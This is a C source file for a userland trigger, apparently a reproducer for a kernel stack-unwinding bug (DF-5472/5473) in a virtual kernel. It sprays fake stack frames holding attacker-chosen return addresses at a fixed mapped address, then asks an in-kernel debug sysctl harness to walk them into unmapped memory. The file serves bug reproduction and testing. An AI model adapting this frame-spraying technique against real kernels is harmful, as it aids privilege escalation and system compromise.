DF-5473 / vktrigger.c
/* * vktrigger.c — DF-5472/DF-5473 userland trigger (runs INSIDE the vkernel * as an ordinary unprivileged-eligible guest process). * * Sprays a fake frame chain at a fixed guest-user VA (the guest-user mapping * of the vkernel host process), then asks the in-kernel harness * (debug.df_vk_walk) to walk a chain that crosses into it and ends at an * unmapped terminal VA. * * usage: vktrigger spray_va term_va rip3 rip4 [count] */ #include <sys/types.h> #include <sys/mman.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char **argv) { unsigned long spray_va, term_va, rip3, rip4; unsigned long *u; char req[128]; int count = 8; size_t len; if (argc < 5) { fprintf(stderr, "usage: %s spray_va term_va rip3 rip4 [count]\n", argv[0]); exit(1); } spray_va = strtoul(argv[1], NULL, 0); term_va = strtoul(argv[2], NULL, 0); rip3 = strtoul(argv[3], NULL, 0); rip4 = strtoul(argv[4], NULL, 0); if (argc > 5) count = atoi(argv[5]); /* * Guest-user mapping in the vkernel host process. MAP_FIXED so the * chain lives at a VA we told the kernel harness about. mmap the * page and one extra page so the 0x20 hop stays inside the mapping. */ u = mmap((void *)spray_va, 2 * 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0); if (u == MAP_FAILED) { perror("mmap spray"); exit(1); } memset(u, 0, 2 * 4096); /* * Fake frames, laid out as struct x86_64_frame {f_frame;f_retaddr;}: * U+0x00 -> U+0x20 (next frame) * U+0x08 = rip3 (attacker-chosen "return address") * U+0x20 -> term_va (terminal hop: unmapped VA on the bad run) * U+0x28 = rip4 */ u[0] = spray_va + 0x20; u[1] = rip3; u[2 * 4 + 0] = term_va; /* U+0x20 */ u[2 * 4 + 1] = rip4; snprintf(req, sizeof(req), "%#lx %#lx %#lx %#lx %d", spray_va, term_va, rip3, rip4, count); len = strlen(req) + 1; printf("VKTRIG: spraying at %#lx, term=%#lx, asking kernel to walk\n", spray_va, term_va); fflush(stdout); if (sysctlbyname("debug.df_vk_walk", NULL, NULL, req, len) < 0) { perror("sysctl debug.df_vk_walk"); exit(1); } printf("VKTRIG: sysctl returned normally\n"); return (0); } |